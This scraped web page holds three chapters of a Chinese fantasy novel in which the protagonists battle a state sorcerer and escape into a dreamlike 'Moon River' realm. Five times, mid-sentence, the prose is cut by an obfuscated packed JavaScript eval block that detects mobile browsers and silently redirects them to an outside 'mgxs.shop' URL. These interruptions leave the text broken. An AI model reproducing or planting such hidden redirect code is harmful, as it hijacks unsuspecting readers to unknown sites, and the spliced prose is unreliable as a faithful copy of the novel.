花木措道:“当然,当然,殿下合该看一眼。”说着便下马亲手递给了姜敛之,“元帅誓死不让旗帜倒下,这是从他手中扣下来的。” 姜敛之接过旗布,仔细打量了一番,确实是军中旗帜的一角,已经凝固的血迹深入旗布的纹理中,透出无声的肃穆与悲壮。 宁乔:“是一种寻踪诀,你拿出一柱香,催动法诀,若是人活着,香便会燃烧,然后指引方位。”说着便把口诀教给了姜敛之。 姜敛之照做,念完法诀,香并没有燃烧。 人确实死了。 花木措静静看着这一幕,即使已经被国师的奇异手段震惊过一回,但亲眼看着姜敛之也会用术法,仍是有些惊奇。 他看那柱香没有动静,问道:“如何?” 姜敛之看着那柱香始终没有燃烧,顿了半晌,方道:“人死了,但不能确定是外祖父的血。” 他身后有冲天光亮降临,一个巨大的蓝色光幕将所有人都包裹其中:“我希望你说实话。” 然后他越过花木措,道:“国师大人,不妨现身。” 宁乔也从簪子里现身出来,传音道:“哪呢,我怎么没看见国师在哪?” 姜敛之道:“不是国师,他们找不过来的。” 这时有几道黑甲骑士的身影蓦然变幻,果然露出了国师和玉闻声的模样。 在他们身旁,还有一位白衣素雪、蒙着面的女子,半露香肩,胳膊上围着一条如梦似幻的浅蓝色纱帛。 宁乔一见她的装扮便想起来:“是玄都右使妙素,来历成谜,有预知之能。” 这位好似寿命不长,原著里没等姜敛之出手她便不知道为何死去了,且同样是背景板角色,只说是姜敛之的异母兄长、后来被扶持上位的三殿下的白月光。 在这三位背后还有一些黑骑的身影都变作了玄都司人的模样,但是宁乔实在是认不出来了。 今日这番出场,还真是很大的场面了。 国师笑意不达眼底,甩了下拂尘:“几日不见,三殿下长进飞速。” 他原本在万绝阵中布置了不少机关陷阱,只是从云京赶到肃州的传送阵需要一点时间而已,竟直接被姜敛之脱身了。 此子天赋异禀,机敏聪慧,又有魄力胆识,一旦令其成长起来,必成心腹大患。 还有他旁边的簪灵,所知甚众,术法层出不穷,亦是个难缠的对手,今天必须要把这两人都杀死在这! 他也不多寒暄,从怀里掏出一只九层宝塔,抛向两人。 宝塔在空中迅速变大、变大,很快就到了姜敛之和宁乔布置的阵法边缘。 这是一套空间颠倒阵,他们在阵中可以调控空间位置,无论是避敌还是转化攻击都十分好用。 然而眼下宝塔已经顶住了阵法的结界,还有再度变大的趋势,眼见就要将阵法硬生生顶破了,宁乔眼皮一跳,果断解除了最大的颠倒阵。 这国师老东西真是富裕啊,好东西这么多,让宁乔十分眼馋。 只见国师又念了什么咒语,宝塔大门一开,竟从中走出几尊金刚罗汉来,一走出来,就震得地面“轰隆”作响,可见其重量夸张,若是被拍上一掌,不是飞出几十丈就是变成浆汁了。 有此等宝物助阵,敌方士气大涨,花木措身后黑骑与玄都司众人也一窝蜂冲了上去。 宁乔立即打开其他空间颠倒阵,打乱了敌人的冲锋阵形,用他们自己撞在了一起。 而玉闻声和妙素也飞了过来,国师也放出了那几柄短剑,凌空飞来。 宁乔和姜敛之各自对敌,辗转腾挪,一时间打得相当热闹。 但诸多小颠倒阵的位置很快就被玄都司人探了出来,骑兵再次蜂拥而上。 玉闻声的攻击也相当老辣,他的攻击一重一重都是冲着姜敛之去的。 恐怕这些时间他们也想明白了——先杀姜敛之要紧,宁乔本就是局外人,她活着与否对局势影响不大,姜敛之才是重中之重。 宁乔应付着国师的法器们,时不时闪身到姜敛之身边救助,或是打个配合反攻玉闻声,然而都被妙素提前说破。 周围还有众多铁骑,不断逼迫着姜敛之与宁乔往玄都司人刚刚布置好的陷阱上挪。 宁乔和姜敛之不停放出准备好的阵法陷阱,都被金刚罗汉一路趟了过去。 敌众我寡,局势简直是一边倒。 宁乔见状,把本想最后留给国师的陷阱用上了——是“五鬼符”加“万物霜天”加“雷字诀”的超级大礼包,“五鬼符”开往底下的冰笼,开启之后再有天雷一轰而下,主打一个迅雷不及掩耳。 符咒和法诀都是提前固化好的,只待法力激发。 宁乔一道魂力打过去,顿时便有几百人反应不及,被这一套连招打中,顿时被天雷轰中,生死不知。 众人一时悚然,花木措悄悄挪到了后方。 打掉了对方一半人马,但国师等人是一个都没事。 国师哼笑一声,一声令喝:“五雷阵,结!” 只有你们会用阵法吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125934|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄都司等人立即抛出一叠五雷符,在半空中激发后,兜头向着姜敛之砸去。 姜敛之四面八方顿时雷蛇舞动,空气都似有停滞之感。 关键时刻,宁乔闪身上前,霎时间结了三层“固字诀”,将两人罩在其中。 玉闻声玉扇上银光一闪,抓住宁乔救援来不及躲避的瞬间,在她胳膊上划出一道深深的伤口。 宁乔感觉到这贱东西在法器上也涂了灵毒,当即暗骂一声。 但她根本来不及施舍给玉闻声一个眼神,雷声便轰隆而至。 妙素忽然道:“躲,水。” 玉闻声在她出口的一瞬间就向后闪身而去,只见雷声轰过,姜敛之身上焦黑一片,宁乔也魂光黯淡不少,但最令他意外的是,姜敛之和宁乔周围的玄都司众人还有周遭的黑骑竟然也死伤一片。 周遭的地面上焦黑一片,只有几滴水珠遗留在边缘的草叶上。 他当即明白过来:恐怕只有第一道手印是保护,后面都是水类术法。 竟是借用他们的雷法,灭他们的人! 转眼之间便有这种应对,玉闻声心中升起强烈的忌惮。 但看到宁乔与姜敛之的情况,这种以伤换伤的手段,对他们而言便是优势,他又不免觉得胜利在望。 姜敛之毕竟功法太浅,即使有宁乔全力帮忙抵挡,还是被玉闻声和黑骑弄出了一身伤口。 遭了五雷阵这样一劈,他已然脸色苍白,喉间涌出一股鲜血,被他强行咽了下去。 周围还有两百余人,国师和玉闻声妙素更是毫发未伤,而他们准备的法阵已经用得七七八八。 他们早有心理准备,知道这一仗必然难打得很,但隐踪香的存在又使他们根本逃不掉。 打不过又逃不掉,宁乔本是希望逃得快些,将姜敛之送去云将军手上,以千军万马和□□势加以制衡保护。 然云将军自身也有危险,需要在半路截住他,免得他真去京都,肃州边界的驻地便是最好的选择。 花木措的背叛其实在他们意料之外,这也说明,局势恶化至此,已经脱离了掌控。 他们原本便知道,国师再来追杀,是打不过的,只希望应对时多些生机,然后再找机会脱身,前往益州长明关。 宁乔积攒的魂力再次见底,他们还藏着最后一个“挪移阵”,能瞬间转移五十里,在那里,宁乔还绘了一个“挪移阵”。 挪移阵同样需要消耗不少魂力,只不过提前用了,打架时便可以宽裕几分。 宁乔觉得是时候跑了,她传音给姜敛之:“走?” 说话间,金刚罗汉与玉闻声再度攻来,姜敛之批开一柄飞剑,道:“分头走。” 他们都会“千跃”,挪移阵离得也不远,宁乔也没多想,给姜敛之挡下玉闻声的扇子,便流光一闪,到了原本颠倒阵的边缘。 然而这时她忽然听到妙素一声:“国师!” 她抬眼望去,姜敛之竟是闪现到了后方的国师身旁,凌然半空,眸中含着惊人的恨意,手中长剑剑光一点寒气,直冲国师喉间! 13. 月川(一) 这道攻击凌厉又突然,国师也被眼前骤然出现的身影惊得眸光一闪。 交手过几次,姜敛之早就看出来了,这老东西擅长法器斗法,却不擅长近身对敌。他抓住这个空档,便是要他立死当场! 国师已是躲闪不及,玉闻声的飞扇和妙素的纱帛都慢了一步,姜敛之的剑尖已经触及国师的皮肤。 剑尖上有宁乔固化过的“雷字诀”,姜敛之方才一直珍惜着没用,便是要留待此刻的。 然而奇怪的是,鲜血明明已经溅出,却又仿似回放,鲜血又收了回去,然后毫无征兆地出现了在一名幸存的玄都司人身上。 国师眸中尤有惊恐,飞剑立即返回护主,姜敛之还欲再刺,玉闻声和妙素的法器却已然攻来。 他只简单闪避了一下身形,丝毫没有影响攻向国师的剑。 完全是不要命的打法。 宁乔看得眉头一跳又一跳,一道流光而至,替姜敛之拦下了玉闻声和妙素的法器。 这时候国师也反应过来了,他口中念念有辞,九层宝塔离地而起,往这里罩来。 若真被罩住,恐怕他们很难逃脱了。 宁乔抓住姜敛之的手腕,一道流光飞速往挪移阵的方向遁去。 然而刚才挪移阵的位置已经暴露,玉闻声的黑蝶早已蜂拥而至,将法阵的阵符破坏了个彻底。 这下有点糟糕了。 姜敛之将簪子塞给宁乔,道:“你找机会走,别管我了。” 今日这场围攻,他们已经没有任何底牌了。 再打下去,只有一个死字。 他太弱小,太无能,只会成为宁乔的拖累。 看着宁乔越发黯淡的身影,已经拖累她一路了,其实本来不过是萍水相逢而已。 这是他的宿命,不是她的。 宁乔不应该,也绝不能死在这里! 姜敛之放开了《星引诀》中点亮的穴道,转而运行起《湮灭术》的法诀。 他的身体重新充满了力气,应对玉闻声和国师的攻击终于从容了不少,而他的决绝也一览无余。 以伤换伤,以大伤换小伤,处处狠手。 玉闻声没有料到,国师也没有料到,连妙素的预知都无用起来——他知道会受伤,但他不理会你的攻击,只要自己能打伤对方,受再重的伤都无所谓。 宁乔意识到了什么,看他不要命的打法,有些说不出的难过和叹息。 术法修为的差距在此,他燃烧生命,只能缩小差距,却没法超越,以伤换伤更是杀鸡取卵、竭泽而渔。 她有些茫然,是不是她的插手反而导致姜敛之失去了他本来的机缘,才会如此艰难的呢? 宁乔一直想要逃跑,战斗也好,陷阱也好,她总觉得留得青山在,不怕没柴烧,君子报仇,十年不晚。 然而当姜敛之又一次放弃逃命,选择复仇的时候,她又一次被震撼到了。 偏执、决绝,烈焰焚烧、飞蛾扑火一般的孤勇。 她还是不觉得自己的选择是错的,但少年时的姜敛之如此决绝仍让她感到无比震撼。 她隐隐意识到,这场剧变带给他的影响其实远不似他表面上的平静与镇定。 哎。 宁乔开始帮他挡掉玉闻声和国师的攻击,在他身上一层层地叠加保护法诀。 国师本该高兴姜敛之用了《湮灭术》的,但在他的计划里,《湮灭术》不是对着他用的。 姜敛之小小年纪,却如此疯狂执拗,连他都对姜敛之眼中的恨意感到震惊。 他开始分散姜敛之的注意力:“想知道你外祖父的下落吗?” 姜敛之不答,一味攻击。 国师道:“云老将军早在陛下动手杀云贵妃的第二日就死了,所以我一早便知,你此次北上注定徒劳无功。你到益州也是一样的。” “你若是肯随我回京,我可以劝说陛下不杀你。” 听听这话说的,他设计害死了姜敛之的至亲,结果还要说劝人家的父亲不动手杀子。 宁乔又一次被国师的无耻惊到了,他的脸皮是有城墙那么厚吗? 姜敛之仍是没什么反应,一剑划到国师眼侧,惊得后者抖了下眼皮,赶紧继续道:“六殿下实在不应当恨老道,一切全是你父王下的令。” 这倒不是他说瞎话了。 攸王早就对云家不满,国库越打越空虚,到处民变不断,朝堂的反对质疑之声也越来越多——打了这么多年,肥了云家,瘦了国库。 云家的声势一日盛过一日,可偏偏无屺人又没被打败。 杀云贵妃是一时气愤,但亡云氏之心却非一朝之念。 然而国师在姜敛之这里的信誉值早就归零,他胳膊上又被划出一道伤口——同方才他对付姜敛之的形势一样,姜敛之也只冲着他来。 国师道:“你若是放弃反抗,我可以同你签心契,如何?” 这句话一出连玉闻声都抽空看了国师一眼,没想到这老东西能作出这种让步,虽然肯定只是形势上的,但还是能看出,老东西有点慌了。 姜敛之还是没有反应,像个只知道杀戮的机器。 后来就连国师都懒得说话了,他好话歹话说了一箩筐,丝毫没有动摇姜敛之杀他之心。 是人就会累,他催动法器也是要用法力的。 看着渐渐沉下山头的太阳,国师感觉到了深深的疲倦。 他带来的玄都司人已经没剩几个了,个个身上带彩;妙素今日预知之力用得太多,眼睛流血,已经退到了后方休息。 花木措假装受了个小伤,也躲在后面不动弹,他周围的黑骑也是一副动不了的样子。 玉闻声受他辖制,不得不出手,但肉眼可见地也不似刚开始时凌厉了,看不出究竟是法力不够还是划水。 他自己身上不轻不重地添了些皮外伤,而对面的姜敛之已经成了个血人,脸上鲜血都糊了半边。 明明感觉他只剩最后一点生命力了,偏偏打不死! 那只簪灵也黯淡地几乎要看不清了,这是魂力大幅枯竭的表征,也偏偏像个幽灵一样,时不时出来偷袭一番。 能用的阵法、符咒、法器通通来了个遍,姜敛之自己的生机也在被吞噬,怎么偏偏就打不死呢! 国师动作一慢,差点被姜敛之捅个对穿,他眸光一闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125935|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心道不能再拖下去了,他总觉得姜敛之下一刻就死了,一直不愿祭出这件法器,现在看来不付出点代价是不行了。 他狠狠咬了口舌尖,将这口血喷到了透体而出的一根细针上。 这针名为悬骨针,是用他的一截骨头作原料,祭养在身体中,每次激发都需以血为媒,烧掉他三年寿命。 但此针狠毒无比,一切攻击、屏障都不管用,出则必要人命,放弃肉身也无用,直接令人魂飞魄散。 他大喝一声:“去!” 悬骨针便光芒划过,飞速朝姜敛之飞去。 国师非常希望宁乔也一并死掉,但他尚有理智,知道必须要姜敛之先死。 近身搏斗,这么近的距离,姜敛之根本避无可避,也根本不想避。 《湮灭术》已经将他身体里的生机吞噬殆尽,其实他现在已经听不到外面的声音了。他几乎是一心求死,凭信念支撑着。 而他这样的姿态也让国师心中窃喜,眼见悬骨针立刻就要刺入姜敛之眉心时,千钧一发之际,宁乔感知到了强烈的危险,拉着姜敛之遁走几次,都没法规避掉悬骨针的追击。 冰冻、困阵、雷法,通通都不管用。 宁乔情急之下拿出簪子抵挡,只听清脆的一声“叮”,悬骨针被打得轨迹一偏,与此同时,国师“噗”一口鲜血吐出,跪倒在地。 而宁乔也被震得神魂不稳,天旋地转。 她腰腹间破开一道极深的口子,虽然没有鲜血流出,却在上面留下了痕迹,无法愈合。几乎是立刻,宁乔就化作一道流光消失了。 簪子也被打飞,掉落在了林边的河里。 悬骨针并不需要国师催动,一歪过后又瞄准姜敛之而去,姜敛之仍是不闪不避,他的整副心神都被掉落在河中的簪子牵住了。 姜敛之的眼中终于流下一道血泪。 他不敢想宁乔是不是已经死了,只冲着逐渐下坠的簪子抓去。 就在他的手触及到簪子的一刹那,他已经模糊的视线中看到了半空中的那条美丽而虚幻的河流。 悬骨针的针尖在即将触及到姜敛之后脑勺的一瞬间,骤然失去了目标。 外面的国师和玉闻声等人皆是大惊。 国师脱口而出:“月川!” 花木措眯了下眼睛,对眼前的景色感到十分震撼,但他并不知道这个“月川”是作什么用的,只是看到国师跌跌撞撞往月川跑的身影,也追了上去。 玉闻声的遁术要更快些,一只黑色蝴蝶已经到了月川的边缘。 然而他的蝴蝶却穿过了月川,彷佛那条河流是不存在的。 在他们的各种尝试中,月川始终不得而入。 片刻之后,这条虚幻而美丽的河流便如出现时一般,突兀而悄然地消失了。 徒留国师跪在原地不停呢喃:“月川。” 玉闻声若有所思,一言不发,对花木措连声的询问置之不理。 而后者看向月光下这一地的尸体与狼藉,忍不住打了个寒颤。 另一边,姜敛之失去意识前看到的最后一眼,便是月光河流汇成的天空下,一双澄澈又担忧的眼睛。 14. 月川(二) 姜敛之再次醒来时,看到了天上星星点点的月光长河已经转变成了深蓝色。 他的身体经脉竟然没有想象中的破烂,身上的伤口也没有什么疼痛感了。 似乎做了一个漫长的梦,悠悠荡荡的,有半晌功夫,他的思绪是全然放空的,就好像睡得太久,反应都是迟钝的。 忽然,他猛地坐起身来:“宁乔!” 真奇怪,他竟然还能发出声音来。 宁乔的身影倏然从一旁闪了过来,问他:“你怎么样了,还好吗?” 姜敛之怔怔看着她,幽蓝的身影凝视而舒展,腰腹间也没有伤口,他眨了眨眼睛,骤然安静下来。 “你也死了吗?” 宁乔愣了一下:“说什么胡话呢?” 姜敛之垂下眼睛,道:“我们都死了。”在那种情况下,他不可能还活着。 而他见到了好好的宁乔。 姜敛之感觉到了深深的疲惫,“咚”地一声倒了回去,整个人都被绝望和冷寂包裹住了。 喉咙里又有痒意传来,这次他没有再忍,一口鲜血吐了出来。 宁乔被他这副模样吓了一跳:“你干嘛?我们都没死,在月川里。” 她探了道魂力过去,经脉已经治愈得七七八八了,《湮灭术》的后果也消失得无影无踪了,怎么又吐血了? 宁乔问船头的老丈:“前辈,您看他这是怎么了?” 有一道苍老慈爱的声音笑呵呵道:“他心思郁结,百志不舒,这一口血吐出去刚刚好,哈哈,刚刚好。” 说着又念了一首偈语:“十年铸刃平山海,一念烟消玉骨寒。千载蓬山埋雪履,孤翻碧海觅灯幡。” 宁乔听完,道:“听上去好凄凉。” 那道声音又道:“缘也,缘也。” 宁乔又问:“他什么时候会好?” 那道声音答:“何为好,何为坏?冥冥之中自有定数,却也有一线变数,求定数还是求变数,如何是好呢?” 宁乔被这话里的意思惊了一下,试探问道:“您也知道那个?” 那道声音哈哈笑起来:“知也,不知也,有何差别?” 宁乔实在是听不懂了,这些天来,这样的对话发生了无数次,每次都以宁乔的提问开始,以老丈云里雾里的回答结束。 宁乔看了一眼姜敛之,知道他的身体已无大碍,斟酌片刻,对老丈道:“前辈帮忙照看他几天吧,晚辈想去那里面逛逛。” “小友可知,离了这船,月川里便是凶险无比,遇到什么皆为未知。” 宁乔已经思量过许久,她该说不说,还是从姜敛之身上学到了点什么,要想回家,怎么能一点代价都不付呢? “想好了。” 老丈亦不再多问,道:“也好也好,小友便去吧。” 宁乔点头,便在船边水面上掐诀凝出了一道冰叶子跳了上去。 将要离开时,手臂却忽然被拽住了。 宁乔转头一看,不出意外,是姜敛之。 少年定定看着她,问道:“你要去哪?” 宁乔假装“咦”了一声,本来想和姜敛之告别再走的,他看上去情绪不佳,躺着不起,宁乔还悄悄松了一口气。 分道扬镳什么的,总是有点难为情的。 “我去里面打探一下。” 她指了指旁边丰茂的水草,姜敛之这才看清楚,这里是在一条河上,虚幻又真实的,月光一般的水。 宁乔忽然想起来什么,道:“条件有限,我没给你换衣裳,你自己拿月川道水洗一洗,隐踪香的味道就能彻底隔绝了。” 天高任鸟飞,海阔凭鱼跃,从此以后便自由了。 姜敛之不松手,漆黑的眸子里有着化不开的执拗:“你要抛下我。” 是个再明确不过的肯定句。 宁乔有点想挠头:“我答应过你要送你去益州长明关,眼下云将军生死未卜,路也才走到肃州,确实不算守诺。” 她想了想:“不然这样,等我从月川出去,再送你走完剩下的路。不过,你也知道,国师肯定也在益州等着你呢,你真的还要去吗?” 如果姜敛之还是决定要走的话,宁乔便陪他到底。 但说实话,宁乔不觉得国师当时说的全是假话。而一旦云将军已经去世,姜敛之即使到了益州长明关也无济于事,反而是羊入虎口。 姜敛之却点了点头。 宁乔看出他回答之下的茫然,道:“我给你留个记号,出去之后我们再碰头。好不容易进来月川,我要在里面逛一圈,你伤还没好全,不如再修养几天。” 姜敛之却道:“我要跟你一起去。” 宁乔有点头大。 平心而论,她觉得姜敛之这会儿应该是太缺少陪伴和支持了,才会这么黏她。但她已经听老丈说了,月川里面也十分凶险,带上姜敛之无疑会让他涉险。 她是冲着回家去的,却要他去涉险做什么。 大抵是因为不能说话的时间久了,姜敛之已经习惯了静默。当宁乔也安静下来时,便显得气氛寂然。 姜敛之牵住宁乔不放手,眸子里有些沉默但坚持的执拗。 宁乔又忍不住叹了口气,与姜敛之解释道:“我受伤之后也觉得要完蛋,便在最后关头想了想,若是掉落的河流就是月川就好了,结果便真的出现在了月川里,你知道是为什么吗?” 姜敛之眸子动了动,宁乔已经说过几次是在月川里了,这里的景象也确实与外面迥异,人死时的想象能达到这样奇幻瑰丽的程度吗? 宁乔也没想过要姜敛之回答,继续道:“之前书上那句‘入月川者方可入月川’并不是打机锋,而是一句最实在朴素的话,因为月川里面,时间是一个圆,没有先后,所以就不会有‘第一次’进入月川这件事。” “进来过,便可以进来,而且你并不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125936|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道在月川而言,这是你第几次进入,因为时间不是一条直线。” “而月川无处不在,当你觉得自己是在月川之中时,便在月川中了。” 她也是进来之后跟这位前辈聊天后才明白过来的。 月川是空间重叠的剪影,而这里没有时间的概念。 没有世俗意义上的时间概念,一切当□□感的时间是短是长,便全由心念来衡量。在她的体感里,已经过去了世俗意义上至少三个月了。 她积蓄了不少魂力,这才能给姜敛之施展一次更长时间、更大范围的“回春术”,将他的性命从鬼门关拉回来。 而在他的体感中,可能来到此地顶多寥寥几日罢了。 宁乔也不管姜敛之听懂还是没听懂,再一次着重强调:“所以你没死,我也没死,我们都活得好好的,不瞒你说,蹚进去什么都有可能发生,你身体不好,不如好好养伤,如果有机会,我出去一定会找你的,行不行?” 姜敛之若有所思的眼神顿了一下,打破了宁乔委婉照顾他的话语,反而让宁乔有些尴尬:“你嫌我累赘。” 宁乔下意识想要反驳,忽然话头一转,大方承认了:“我可能没法分心照顾你。” 姜敛之点了点头,宁乔刚要松一口气,如果这样能让姜敛之不涉险,也是一件好事啊。她眼睛亮了亮,便要告辞,忽然又听到姜敛之道:“我要跟你一起去,死在里面也无所谓。” 他的脸色极为平静,唯独黑眸中说不上是坚定还是执拗的情绪像一座万年不化的寒冰,钉在原处,似乎谁也移动不得。 俗称犟种。 宁乔实在没辙了,她又心善又软和,对着遭逢大劫惨淡无比的姜敛之,实在说不出什么假意苛责实际是为了他好的那些锥心之语,跟姜敛之大眼对小眼地瞪了半天,终究无奈地败下阵来。 “好吧,你随我一起,但是话说好,保命为上,我们还会再来的。” 姜敛之乖乖点头,看上去安静又知礼,半点儿瞧不出刚才的执拗来了。 宁乔将他胳膊一拖一拉,便拉到了自己所在的这片冰叶小舟上,跟那位前辈郑重道了个谢作别,便载着姜敛着往月川的深处慢慢行去。 那位小舟的灰衣老前辈喝了口葫芦里的酒,忽然大笑道:“聚散何须添别酒,去留俱是踏歌人!” 灰衣老人与小舟皆忽然消散在了这片奇幻天地中。 *** 月川美丽而静谧,头顶上是月川,脚下是月川,按理说两人也泡在月川水中,然而却似江上空间,只是身边流淌着月光一样的丝带云河。 宁乔将冰叶扩大不少,让姜敛之有个换衣裳的地儿。 结果姜敛之拿帕子用月川水擦拭伤口血污的时候,突然水下有一物骤然扑起,将姜敛之撞向河里。 力道之大,就连宁乔用了术法都没拉住。 “扑通”一声,两人齐齐被拉到了月川的水下。 15. 月川(三) 跌入月川之后,又是另一条月川。 宁乔看着头顶的月川和江面下的月川,陷入了沉思。 这里和刚才所处的地方竟然一模一样。 那条又似大鱼又似海豚的东西已然消失不见了,月川之中仍是如此静谧而美丽,天地之间似乎只有这条虚幻之河,和江面上的他们。 姜敛之自责自厌的情绪一闪而过,眸中的执拗情绪却更深了。他蹲下身,又掬了一捧月川水,似水非水,手浸下去的手感同水一样,捞起来时便散了,和刚才那条月川一模一样。 宁乔也蹲下身,观察了一番脚下的冰叶,同样没有脉络,似乎和刚才没有任何差别。 “这里也太玄妙了。” 宁乔看了一眼姜敛之,将他定在了原处,又加了一个“困”字诀加以保护,然后人便往后一倒,倒进了月川之中。 姜敛之大惊,下意识伸手去抓宁乔,却只能眼睁睁看着她倒了进去。 他死死盯着那处水面,片刻后,宁乔从里面跃了出来,刚要说出自己方才的发现,便看见姜敛之红着眼眶,眼中还残存着些许惊慌与担心,见宁乔看来,又垂下了眼睛,似乎什么事情都没有发生过。 宁乔顿了下,说道:“下面还是一重月川,同这里一模一样,只不过没有这片冰叶,也没有你,然后我往天上一飞,便又回来了。” 姜敛之不说话,好似又哑了嗓子。 宁乔忽然笑了一下,心头划过一抹被关心的暖意,安慰道:“你瞧这是什么?” 原来有一条金线从宁乔手腕上打了个圈,一直连到了姜敛之胸口处的簪子上。 “丢不了的。”不知道是在说自己,还是在说姜敛之。 这一通插曲过后,月川似乎又恢复了那般静谧感,宁乔仍然担心这里不如刚来时安全,便拉着姜敛之回到了最开始那重月川中,慢慢向那些零散的水草中谨慎打探。 行进间,月川从一条河流似的模样逐渐开阔起来,更似大泽了。 水草丰茂之处数不胜数。 宁乔嘴里衔了根苇叶,竟然嚼出了不少味道,是一种草木的清香味。嚼完之后便感觉到整个灵体都是一阵清凉,连灵毒所带来的沉痛都消失了不少。 “好东西啊。” 因为从月川里一直没能出去,所以还没有找到解灵毒所用的药草,不过月川自来便有凝神之效,待在其中灵毒一直都没发作。 她本想出去之后再行解决,没想到这苇叶竟然有这般功效,捡到宝了啊。 她便开始努力搜集。 姜敛之也不问,看宁乔宝贝这些苇叶,便帮着摘了不少,然后把摘下来的苇叶整理好,大部分包成大包放进了粗葛荷包,小部分装到香囊里,时不时便交给宁乔。 宁乔笑眯眯地:“你要不要尝尝?” 姜敛之便也拿了一根放进嘴里,清苦的草木气息在口腔里化开,有种说不出来的轻松之意。 宁乔见姜敛之怔愣,便知道对他也有用。 “多采点多采点。” 于是两个人又忙活了半天。 宁乔忽然想到,月川水也不错啊,也是宝贝,便让姜敛之把喝水的水囊拿出来,全灌满了。 月川没有白天也没有晚上,两个人忙活了许久,仍是天光大亮的静谧模样,月光似水般轻洒而下,比不上大晴天,却也亮亮堂堂的。 不过可惜的是,灰衣老人所说的危险始终没有发现,宁乔都快把那处丰茂的苇叶都薅光了,仍是安安静静的,没见到有任何危险,自然也没有什么其他世界的影子。 姜敛之不知道是逃避,还是别的什么原因,既不急着出去,也没有宁乔那般的好奇心,大多数时间都在发呆,魂魄出窍一般。 等宁乔看过去,又只是安静地正常地望着一望无际的江面。 宁乔仰倒在冰叶小舟上,嘴里嚼着根苇叶,不停思量着,喃喃自语道:“当时我在月川外面是想着这里是月川才进来的,难不成要想着这里便是其他世界,才会进入到其他世界吗?” 一念动便是风波起。 江面上忽然狂风大作,周边忽然变作了一处黑漆漆的古旧宅子,狂风不停席卷,将破败的窗子吹得呼呼拍响,白纸灯笼从檐下飘落。 一转眼,便从江面上到了这里。 宁乔把姜敛之一把拉了过来,后者也意识到了是怎么回事,一柄短匕赫然出现在了手中。 江面已然消失不见。 宁乔道:“我还没想到是什么世界呢?要说想到的话,也是我们那个世界,大不了有奥特曼和怪兽,这是怎么个事啊?” 她脑海中看过的动画片印象一闪而过,这处宅子便又变了模样,一道刺眼的光闪过,便有一个红色紧身作战衣的光的巨人,握着拳头出现在了屋脊后面。 宁乔嘴巴差点没合上。 她忽然意识到了什么,问道:“前面这个你想的?” 姜敛之的心神有大半都放在宁乔身上,方才自然听到了她的喃喃自语,不期然便想到了之前听过的话本故事,白衣女鬼找到负心读书人复仇什么的,谁知道一眨眼便是这样了。 他眨了眨眼睛,莫名透出点茫然无辜的味道,宁乔吐出苇叶,道:“罢了,从现在开始,想想刚才的月川,看看我们能不能回去。” 白衣女鬼已经在周边游荡,光的巨人在破败宅子后面与一个面目模糊的怪兽战斗着。 宁乔努力收束自己的念头,回想着刚才月川的画面。 “都是假的,都是假的。” 意识到睁着眼睛的效果太糟糕了,她便提醒姜敛之,闭上眼睛,一边道:“月川美月川妙,月川的河水呱呱叫。” 然而凝神想了好一会儿,周围却始终充斥着打斗声和呼呼风声。 更不妙的是,还出现了青蛙呱呱叫的声音。 就在这个瞬间,宁乔忽然感觉到了白衣女鬼身上传来的杀意,无奈睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125937|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了眼睛,一道雷字诀霹雳轰了下来。 结果尘烟散尽,四面八方又出现了更多女鬼,形容也更加可怖。 光的巨人和怪兽也注意到了这边的情况,低头看了过来,宁乔已经管不住自己的念头了,想着这时候应该有人类队员开着飞机帮忙结果被这道雷吓了一跳吧。 然后就真的出现了几架飞机。 姜敛之大概也在思绪跑马,宅子里传来了老虎的吼叫声和千军万马的铁蹄声。 宁乔一边应付着女鬼,一边沉声道:“别乱想,不行想点帮手出来啊!” 于是宅子里又多了不少敌对的军士,只不过大多都是身形面目模糊的。 宁乔意识到,想象的东西越详细,具现出来的东西便越真实。 在这里,“梦想成真”完全不是夸张之言,真的想什么来什么。一开始只有座宅子,后来出现了女鬼,再然后女鬼产生了杀意。 这条线便是姜敛之思维不断丰富的结果。 